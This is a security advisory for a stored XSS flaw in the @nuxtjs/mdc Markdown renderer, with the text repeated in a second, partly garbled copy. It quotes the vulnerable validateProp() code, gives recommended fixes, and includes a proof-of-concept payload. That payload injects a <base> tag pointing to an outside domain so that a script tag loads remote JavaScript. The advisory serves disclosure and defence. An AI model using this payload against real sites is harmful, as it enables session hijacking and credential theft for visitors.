Summary
A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld">
element.
The <base>
tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.
Details
- Affected file :
src/runtime/parser/utils/props.ts
- Core logic :
validateProp()
inspects
- attributes that start with
on
→ blocked
href
or src
→ filtered by isAnchorLinkAllowed()
Every other attribute and every tag (including <base>
) is allowed unchanged, so the malicious href
on <base>
is never validated.
export const validateProp = (attribute: string, value: string) => {
if (attribute.startsWith('on')) return false
if (attribute === 'href' || attribute === 'src') {
return isAnchorLinkAllowed(value)
}
return true // ← “href” on <base> not checked
}
As soon as <base href="https://vozec.fr">
is parsed, any later relative path—/script.js
, ../img.png
, etc.—is fetched from the attacker’s domain.
Proof of Concept
Place the following in any Markdown handled by Nuxt MDC:
<base href="https://vozec.fr">
<script src="/xss.js"></script>
- Start the Nuxt app (
npm run dev
).
- Visit the page.
- The browser requests
https://vozec.fr/xss.js
, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).
Impact
- Type: Stored XSS via remote script inclusion
- Affected apps: Any Nuxt project using @nuxtjs/mdc to render user-controlled Markdown (blogs, CMSs, docs, comments…).
- Consequences: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.
Recommendations
- Disallow or sanitize
<base>
tags in the renderer. The safest fix is to strip them entirely.
- Alternatively, restrict
href
on <base>
to same-origin URLs and refuse protocols like http:
, https:
, data:
, etc. that do not match the current site origin.
- Publish a patched release and document the security fix.
- Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with
FORBID_TAGS: ['base']
.
References
Summary
A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a
<base href="https://attacker.tld">
element.The
<base>
tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.Details
src/runtime/parser/utils/props.ts
validateProp()
inspectson
→ blockedhref
orsrc
→ filtered byisAnchorLinkAllowed()
Every other attribute and every tag (including
<base>
) is allowed unchanged, so the malicioushref
on<base>
is never validated.As soon as
<base href="https://vozec.fr">
is parsed, any later relative path—/script.js
,../img.png
, etc.—is fetched from the attacker’s domain.Proof of Concept
Place the following in any Markdown handled by Nuxt MDC:
npm run dev
).https://vozec.fr/xss.js
, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).Impact
Recommendations
<base>
tags in the renderer. The safest fix is to strip them entirely.href
on<base>
to same-origin URLs and refuse protocols likehttp:
,https:
,data:
, etc. that do not match the current site origin.FORBID_TAGS: ['base']
.References